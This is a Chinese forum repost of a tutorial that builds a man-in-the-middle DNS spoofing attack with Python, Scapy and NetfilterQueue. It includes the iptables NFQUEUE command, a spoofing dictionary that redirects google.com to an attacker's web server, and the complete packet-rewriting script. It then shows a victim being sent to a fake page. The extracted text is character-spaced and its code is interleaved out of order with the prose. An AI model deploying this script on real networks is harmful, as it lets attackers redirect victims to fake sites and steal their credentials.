搜索

[28481] 2020-08-06_使用PythonScapy进行DNS欺骗攻击

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-19
2020-08-06_使用PythonScapy进行DNS欺骗攻击 使 用 P y t h o n   S c a p y 进 行 D N S 欺 骗 攻 击 O t s 安 全   2 0 2 0 - 0 8 - 0 6 什 么 是 什 么 是 D N S A   D o m a i n   N a m e   S y s t e m   s e r v e r   服 务 器 把 人 类 可 读 的 域 名 （ 例 如 g o o g l e . c o m ） 到 用 于 使 服 务 器 和 客 户 端 之 间 的 连 接 ， 例 如 一 个 I P 地 址 ， 如 果 用 户 想 要 连 接 到 g o o g l e . c o m ， 用 户 的 计 算 机 将 自 动 向 D N S 服 务 器 发 送 请 求 ， 说 我 想 要 g o o g l e . c o m 的 I P 地 址 ， 如 图 所 示 ： 服 务 器 将 使 用 该 域 名 的 相 应 I P 地 址 进 行 响 应 ：
然 后 ， 用 户 将 正 常 连 接 到 服 务 器 ： 好 的 ， 这 完 全 正 常 ， 但 是 现 在 ， 如 果 用 户 和 I n t e r n e t 之 间 有 一 台 中 间 人 机 器 怎 么 办 ？ 好 吧 ， 中 间 人 可 以 是 D N S   S p o o f e r ！
什 么 是 什 么 是 D N S 欺 骗 欺 骗 D N S 欺 骗 ， 也 称 为     D N S 缓 存 中 毒 ， 是 一 种 计 算 机 安 全     黑 客 攻 击   ， 其 中 将 损 坏 的     域 名 系 统   数 据 引 入     D N S 解 析 器 的     缓 存 中 ， 导 致     名 称 服 务 器   返 回 错 误 的 结 果 记 录 ， 例 如     I P 地 址 。 这 导 致     流 量 被 转 移 到 攻 击 者 的 计 算 机 （ 或 任 何 其 他 计 算 机 ） 。 （ 维 基 百 科 ） 但 是 我 们 要 使 用 的 方 法 有 些 不 同 ， 让 我 们 来 看 一 下 它 的 作 用 ： 注 意 ： 为 了 成 为 中 间 人 ， 您 需 要 执 行 A R P 欺 骗 脚 本 ， 因 此 受 害 者 将 首 先 向 您 的 计 算 机 发 送 D N S 请 求 ， 而 不 是 直 接 将 其 路 由 到 I n t e r n e t 。 现 在 ， 由 于 攻 击 者 介 于 两 者 之 间 ， 因 此 他 将 收 到 指 示 “ 什 么 是 g o o g l e . c o m 的 I P 地 址 ” 的 D N S 请 求 ， 然 后 将 其 转 发 到 D N S 服 务 器 ， 如 下 图 所 示 ：
D N S 服 务 器 收 到 合 法 请 求 ， 它 将 以 D N S 响 应 进 行 响 应 ： 攻 击 者 现 在 收 到 具 有 g o o g l e . c o m 真 实 I P 地 址 的 D N S 响 应 ， 他 现 在 要 做 的 就 是 将 该 I P 地 址 更 改 为 恶 意 的 伪 I P （ 在 这 种 情 况 下 ，
是 他 自 己 的 W e b 服 务 器 1 9 2 . 1 6 8 . 1 . 1 0 0 或 1 9 2 . 1 6 8 . 1 . 1 0 6   ） ： 这 样 ， 当 用 户 在 浏 览 器 中 键 入 g o o g l e . c o m 时 ， 他 会 在 没 有 注 意 到 的 情 况 下 看 到 攻 击 者 的 虚 假 页 面 ！ 让 我 们 看 看 如 何 在 P y t h o n 中 使 用 S c a p y 实 施 这 种 攻 击 。 编 写 脚 本 编 写 脚 本 首 先 ， 我 要 提 到 的 是 ， 我 们 将 使 用 N e t f i l t e r Q u e u e 库 ， 该 库 提 供 对 L i n u x 中 i p t a b l e s 规 则 匹 配 的 数 据 包 的 访 问 （ 因 此 ， 这 仅 适 用 于 L i n u x 发 行 版 ） 。 您 可 能 会 猜 到 ， 我 们 需 要 插 入 一 个 i p t a b l e s 规 则 ， 打 开 l i n u x 终 端 并 输 入 ： i p t a b l e s   - I   F O R W A R D   - j   N F Q U E U E   - - q u e u e - n u m   0 该 规 则 表 明 ， 每 当 转 发 数 据 包 时 ， 都 将 其 重 定 向 （ - j 表 示 跳 转 ） 到 n e t f i l t e r 队 列 号 0 。 这 将 使 我 们 能 够 将 所 有 转 发 的 数 据 包 重 定 向 到 P y t h o n 。   现 在 ， 让 我 们 安 装 所 需 的 依 赖 项 ： 让 我 们 导 入 模 块 （     您 需 要 先 安 装 S c a p y ， 前 往 本 教 程   或     官 方 s c a p y 文 档 进 行 安 装 ） ： f r o m   s c a p y . a l l   i m p o r t   * f r o m   n e t f i l t e r q u e u e   i m p o r t   N e t f i l t e r Q u e u e i m p o r t   o s 我 们 定 义 我 们 的 D N S 字 典 ： p i p 3   i n s t a l l   n e t f i l t e r q u e u e   s c a p y #   D N S   m a p p i n g   r e c o r d s ,   f e e l   f r e e   t o   a d d / m o d i f y   t h i s   d i c t i o n a r y #   f o r   e x a m p l e ,   g o o g l e . c o m   w i l l   b e   r e d i r e c t e d   t o   1 9 2 . 1 6 8 . 1 . 1 0 0
n e t f i l t e r 队 列 对 象 将 需 要 一 个 回 调 ， 该 回 调 在 转 发 数 据 包 时 被 调 用 ， 让 我 们 实 现 它 ： 我 们 在 这 里 所 做 的 就 是 将 n e t f i l t e r 队 列 数 据 包 转 换 为 一 个 s c a p y 数 据 包 ， 然 后 检 查 它 是 否 是 D N S 响 应 ， 如 果 是 这 种 情 况 ， 我 们 需 要 使 用 M o d i f y _ p a c k e t （ p a c k e t ） 函 数 对 其 进 行 修 改 ， 让 我 们 对 其 进 行 定 义 ： d n s _ h o s t s   =   {         b " w w w . g o o g l e . c o m . " :   " 1 9 2 . 1 6 8 . 1 . 1 0 0 " ,         b " g o o g l e . c o m . " :   " 1 9 2 . 1 6 8 . 1 . 1 0 0 " ,         b " f a c e b o o k . c o m . " :   " 1 7 2 . 2 1 7 . 1 9 . 1 4 2 " } d e f   p r o c e s s _ p a c k e t ( p a c k e t ) :         " " "         W h e n e v e r   a   n e w   p a c k e t   i s   r e d i r e c t e d   t o   t h e   n e t f i l t e r   q u e u e ,         t h i s   c a l l b a c k   i s   c a l l e d .         " " "         #   c o n v e r t   n e t f i l t e r   q u e u e   p a c k e t   t o   s c a p y   p a c k e t         s c a p y _ p a c k e t   =   I P ( p a c k e t . g e t _ p a y l o a d ( ) )         i f   s c a p y _ p a c k e t . h a s l a y e r ( D N S R R ) :                 #   i f   t h e   p a c k e t   i s   a   D N S   R e s o u r c e   R e c o r d   ( D N S   r e p l y )                 #   m o d i f y   t h e   p a c k e t                 p r i n t ( " [ B e f o r e ] : " ,   s c a p y _ p a c k e t . s u m m a r y ( ) )                 t r y :                         s c a p y _ p a c k e t   =   m o d i f y _ p a c k e t ( s c a p y _ p a c k e t )                 e x c e p t   I n d e x E r r o r :                         #   n o t   U D P   p a c k e t ,   t h i s   c a n   b e   I P e r r o r / U D P e r r o r   p a c k e t s                         p a s s                 p r i n t ( " [ A f t e r   ] : " ,   s c a p y _ p a c k e t . s u m m a r y ( ) )                 #   s e t   b a c k   a s   n e t f i l t e r   q u e u e   p a c k e t                 p a c k e t . s e t _ p a y l o a d ( b y t e s ( s c a p y _ p a c k e t ) )         #   a c c e p t   t h e   p a c k e t         p a c k e t . a c c e p t ( ) d e f   m o d i f y _ p a c k e t ( p a c k e t ) :         " " "         M o d i f i e s   t h e   D N S   R e s o u r c e   R e c o r d   ` p a c k e t `   (   t h e   a n s w e r   p a r t )         t o   m a p   o u r   g l o b a l l y   d e f i n e d   ` d n s _ h o s t s `   d i c t i o n a r y .         F o r   i n s t a n c e ,   w h e n e v e r   w e   s e e   a   g o o g l e . c o m   a n s w e r ,   t h i s   f u n c t i o n   r e p l a c e s         t h e   r e a l   I P   a d d r e s s   ( 1 7 2 . 2 1 7 . 1 9 . 1 4 2 )   w i t h   f a k e   I P   a d d r e s s   ( 1 9 2 . 1 6 8 . 1 . 1 0 0 )         " " "         #   g e t   t h e   D N S   q u e s t i o n   n a m e ,   t h e   d o m a i n   n a m e         q n a m e   =   p a c k e t [ D N S Q R ] . q n a m e         i f   q n a m e   n o t   i n   d n s _ h o s t s :                 #   i f   t h e   w e b s i t e   i s n ' t   i n   o u r   r e c o r d                 #   w e   d o n ' t   w a n n a   m o d i f y   t h a t                 p r i n t ( " n o   m o d i f i c a t i o n : " ,   q n a m e )                 r e t u r n   p a c k e t         #   c r a f t   n e w   a n s w e r ,   o v e r r i d i n g   t h e   o r i g i n a l         #   s e t t i n g   t h e   r d a t a   f o r   t h e   I P   w e   w a n t   t o   r e d i r e c t   ( s p o o f e d )         #   f o r   i n s t a n c e ,   g o o g l e . c o m   w i l l   b e   m a p p e d   t o   " 1 9 2 . 1 6 8 . 1 . 1 0 0 "         p a c k e t [ D N S ] . a n   =   D N S R R ( r r n a m e = q n a m e ,   r d a t a = d n s _ h o s t s [ q n a m e ] )         #   s e t   t h e   a n s w e r   c o u n t   t o   1         p a c k e t [ D N S ] . a n c o u n t   =   1
现 在 ， 让 我 们 在 插 入 i p t a b l e s 规 则 后 实 例 化 n e t f i l t e r 队 列 对 象 ： 我 们 需 要 将 n e t f i l t e r 队 列 号 与 我 们 刚 刚 编 写 的 回 调 绑 定 ， 然 后 启 动 它 ： 我 将 其 包 装 在 t r y - e x c e p t 中 ， 以 便 在 单 击 C T R L   +   C 时 进 行 检 测 ， 因 此 我 们 可 以 删 除 刚 刚 插 入 的 i p t a b l e s 规 则 。 就 是 这 样 ， 现 在 在 执 行 它 之 前 ， 请 记 住 我 们 需 要 成 为 中 间 人 ， 因 此 让 我 们 执 行 在 上 一 教 程 中 制 作 的 a r p 欺 骗 脚 本 ： 让 我 们 执 行 刚 刚 创 建 的 d n s   s p o o f e r ： r o o t @ r o c k i k z : ~ #   p y t h o n 3   d n s _ s p o o f . p y 现 在 ， 该 脚 本 正 在 侦 听 D N S 响 应 ， 让 我 们 转 到 受 害 机 器 并 p i n g   g o o g l e . c o m ：         #   d e l e t e   c h e c k s u m s   a n d   l e n g t h   o f   p a c k e t ,   b e c a u s e   w e   h a v e   m o d i f i e d   t h e   p a c k e t         #   n e w   c a l c u l a t i o n s   a r e   r e q u i r e d   (   s c a p y   w i l l   d o   a u t o m a t i c a l l y   )         d e l   p a c k e t [ I P ] . l e n         d e l   p a c k e t [ I P ] . c h k s u m         d e l   p a c k e t [ U D P ] . l e n         d e l   p a c k e t [ U D P ] . c h k s u m         #   r e t u r n   t h e   m o d i f i e d   p a c k e t         r e t u r n   p a c k e t Q U E U E _ N U M   =   0 #   i n s e r t   t h e   i p t a b l e s   F O R W A R D   r u l e o s . s y s t e m ( " i p t a b l e s   - I   F O R W A R D   - j   N F Q U E U E   - - q u e u e - n u m   { } " . f o r m a t ( Q U E U E _ N U M ) ) #   i n s t a n t i a t e   t h e   n e t f i l t e r   q u e u e q u e u e   =   N e t f i l t e r Q u e u e ( ) t r y :         #   b i n d   t h e   q u e u e   n u m b e r   t o   o u r   c a l l b a c k   ` p r o c e s s _ p a c k e t `         #   a n d   s t a r t   i t         q u e u e . b i n d ( Q U E U E _ N U M ,   p r o c e s s _ p a c k e t )         q u e u e . r u n ( ) e x c e p t   K e y b o a r d I n t e r r u p t :         #   i f   w a n t   t o   e x i t ,   m a k e   s u r e   w e         #   r e m o v e   t h a t   r u l e   w e   j u s t   i n s e r t e d ,   g o i n g   b a c k   t o   n o r m a l .         o s . s y s t e m ( " i p t a b l e s   - - f l u s h " )
等 一 下   g o o g l e . c o m 的 I P 地 址 为 1 9 2 . 1 6 8 . 1 . 1 0 0 ！ 让 我 们 尝 试 浏 览 g o o g l e ： 我 已 经 在 1 9 2 . 1 6 8 . 1 . 1 0 0 上 设 置 了 一 个 简 单 的 网 络 服 务 器 （ 本 地 服 务 器 ） ， 该 服 务 器 返 回 了 此 页 面 ， 现 在 g o o g l e . c o m 已 映 射 到 1 9 2 . 1 6 8 . 1 . 1 0 0 ！ 棒 极 了 。 回 到 攻 击 者 的 机 器 ： 已 经 成 功 完 成 了 编 写 D N S 欺 骗 攻 击 脚 本 开 发 ， 这 不 是 很 简 单 。 如 果 要 完 成 攻 击 ， 只 需 在 a r p   s p o o f e r 和 d n s   s p o o f e r 上 单 击 C T R L +   C ， 就 可 以 完 成 。

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理